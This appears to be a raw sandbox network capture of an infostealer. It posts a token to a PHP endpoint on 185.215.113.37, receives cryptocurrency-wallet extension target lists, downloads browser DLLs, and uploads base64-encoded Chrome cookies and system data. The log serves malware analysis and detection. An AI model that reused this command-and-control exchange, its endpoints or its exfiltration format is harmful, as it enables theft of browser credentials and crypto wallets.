XR5
Oct 25, 2024 07:28:08.131112099 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Oct 25, 2024 07:28:08.131123066 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Oct 25, 2024 07:28:08.131134987 CEST	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Oct 25, 2024 07:28:08.131170034 CEST	848	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Oct 25, 2024 07:28:08.131184101 CEST	1236	IN	Data Raw: 62 6e 52 70 5a 58 49 67 56 32 46 73 62 47 56 30 66 47 74 77 63 47 5a 6b 61 57 6c 77 63 47 68 6d 59 32 4e 6c 62 57 4e 70 5a 32 35 6f 61 57 5a 77 61 6d 74 68 63 47 5a 69 61 57 68 6b 66 44 46 38 4d 48 77 77 66 46 4e 68 5a 6d 56 51 59 57 78 38 62 47 Data Ascii: bnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25oaWZwamthcGZiaWhkfDF8MHwwfFNhZmVQYWx8bGdtcGNwZ2xwbmdkb2FsYmdlb2xkZWFqZmNsbmhhZmF8MXwwfDB8U3ViV2FsbGV0IC0gUG9sa2Fkb3QgV2FsbGV0fG9uaG9nZmplYWNuZm9vZmtmZ3BwZGxibWxtbnBsZ2JufDF8MHwwfEZsdXZpIFdhbGxldHxtbW1
Oct 25, 2024 07:28:08.131191969 CEST	316	IN	Data Raw: 62 57 6c 6f 62 6d 52 74 62 57 4e 6b 59 57 35 68 59 32 39 73 62 6d 68 38 4d 58 77 77 66 44 42 38 51 6d 6c 30 5a 32 56 30 49 46 64 68 62 47 78 6c 64 48 78 71 61 57 6c 6b 61 57 46 68 62 47 6c 6f 62 57 31 6f 5a 47 52 71 5a 32 4a 75 59 6d 64 6b 5a 6d Data Ascii: bWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFdhbGxldHxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3Bha3wxfDB8MHxUT04gV2FsbGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN
Oct 25, 2024 07:28:08.132728100 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECAKECAEGDHIECBGHIII Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 38 32 34 65 33 34 31 61 36 38 39 35 65 39 62 61 31 62 35 30 61 65 61 66 62 35 30 30 66 35 66 33 63 36 38 39 35 33 65 31 32 35 62 35 33 30 38 32 34 66 32 34 62 66 62 33 63 36 34 34 61 31 31 35 33 39 32 38 30 61 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 49 2d 2d 0d 0a Data Ascii: ------ECAKECAEGDHIECBGHIIIContent-Disposition: form-data; name="token"c4824e341a6895e9ba1b50aeafb500f5f3c68953e125b530824f24bfb3c644a11539280a------ECAKECAEGDHIECBGHIIIContent-Disposition: form-data; name="message"fplugins------ECAKECAEGDHIECBGHIII--
Oct 25, 2024 07:28:08.414319038 CEST	335	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 05:28:08 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 25, 2024 07:28:08.467511892 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFIJJEGHDAEBGCAKJKFH Host: 185.215.113.37 Content-Length: 5455 Connection: Keep-Alive Cache-Control: no-cache
Oct 25, 2024 07:28:08.467559099 CEST	5455	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 4a 4a 45 47 48 44 41 45 42 47 43 41 4b 4a 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 38 32 34 65 Data Ascii: ------KFIJJEGHDAEBGCAKJKFHContent-Disposition: form-data; name="token"c4824e341a6895e9ba1b50aeafb500f5f3c68953e125b530824f24bfb3c644a11539280a------KFIJJEGHDAEBGCAKJKFHContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 25, 2024 07:28:09.291274071 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 05:28:08 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 25, 2024 07:28:09.543502092 CEST	93	OUT	GET /0d60be0de163924d/sqlite3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 25, 2024 07:28:09.822962046 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 05:28:09 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 25, 2024 07:28:09.822979927 CEST	112	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @
Oct 25, 2024 07:28:09.822998047 CEST	1236	IN	Data Raw: 10 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: B
Oct 25, 2024 07:28:14.015206099 CEST	952	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHJDAKEGDBFHCAAKJJJD Host: 185.215.113.37 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 4b 45 47 44 42 46 48 43 41 41 4b 4a 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 38 32 34 65 33 34 31 61 36 38 39 35 65 39 62 61 31 62 35 30 61 65 61 66 62 35 30 30 66 35 66 33 63 36 38 39 35 33 65 31 32 35 62 35 33 30 38 32 34 66 32 34 62 66 62 33 63 36 34 34 61 31 31 35 33 39 32 38 30 61 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 4b 45 47 44 42 46 48 43 41 41 4b 4a 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 4b 45 47 44 42 46 48 43 41 41 4b 4a 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------DHJDAKEGDBFHCAAKJJJDContent-Disposition: form-data; name="token"c4824e341a6895e9ba1b50aeafb500f5f3c68953e125b530824f24bfb3c644a11539280a------DHJDAKEGDBFHCAAKJJJDContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------DHJDAKEGDBFHCAAKJJJDContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Ym12ZFZad2NIbnFWeldIQVUxNHY1M01OMVZ2d3ZRcThiYVlmZzItSUF0cVpCVjVOT0w1cnZqMk5XSXFyejM3N1VoTGRIdE9nRS10SmFCbFVCWUpFaHVHc1FkcW5pM29USmcwYnJxdjFkamRpTEp5dlRTVWhkSy1jNUpXYWRDU3NVTFBMemhTeC1GLTZ3T2c0Cg==------DHJDAKEGDBFHCAAKJJJD--
Oct 25, 2024 07:28:14.818130016 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 05:28:14 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 25, 2024 07:28:14.920631886 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFHIEBKKFHIEGCAKECGH Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 38 32 34 65 33 34 31 61 36 38 39 35 65 39 62 61 31 62 35 30 61 65 61 66 62 35 30 30 66 35 66 33 63 36 38 39 35 33 65 31 32 35 62 35 33 30 38 32 34 66 32 34 62 66 62 33 63 36 34 34 61 31 31 35 33 39 32 38 30 61 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AFHIEBKKFHIEGCAKECGHContent-Disposition: form-data; name="token"c4824e341a6895e9ba1b50aeafb500f5f3c68953e125b530824f24bfb3c644a11539280a------AFHIEBKKFHIEGCAKECGHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AFHIEBKKFHIEGCAKECGHContent-Disposition: form-data; name="file"------AFHIEBKKFHIEGCAKECGH--
Oct 25, 2024 07:28:15.701229095 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 05:28:15 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 25, 2024 07:28:16.474622011 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDHDAEBGCAAFIDGCGDHI Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 48 44 41 45 42 47 43 41 41 46 49 44 47 43 47 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 38 32 34 65 33 34 31 61 36 38 39 35 65 39 62 61 31 62 35 30 61 65 61 66 62 35 30 30 66 35 66 33 63 36 38 39 35 33 65 31 32 35 62 35 33 30 38 32 34 66 32 34 62 66 62 33 63 36 34 34 61 31 31 35 33 39 32 38 30 61 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 41 45 42 47 43 41 41 46 49 44 47 43 47 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 41 45 42 47 43 41 41 46 49 44 47 43 47 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GDHDAEBGCAAFIDGCGDHIContent-Disposition: form-data; name="token"c4824e341a6895e9ba1b50aeafb500f5f3c68953e125b530824f24bfb3c644a11539280a------GDHDAEBGCAAFIDGCGDHIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GDHDAEBGCAAFIDGCGDHIContent-Disposition: form-data; name="file"------GDHDAEBGCAAFIDGCGDHI--
Oct 25, 2024 07:28:17.253086090 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 05:28:16 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 25, 2024 07:28:17.787332058 CEST	93	OUT	GET /0d60be0de163924d/freebl3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 25, 2024 07:28:18.067059040 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 05:28:17 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 25, 2024 07:28:19.688093901 CEST	93	OUT	GET /0d60be0de163924d/mozglue.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 25, 2024 07:28:20.127494097 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 05:28:19 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 25, 2024 07:28:20.736114979 CEST	94	OUT	GET /0d60be0de163924d/msvcp140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 25, 2024 07:28:21.015944004 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 05:28:20 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 25, 2024 07:28:21.519342899 CEST	90	OUT	GET /0d60be0de163924d/nss3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 25, 2024 07:28:21.798710108 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 05:28:21 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 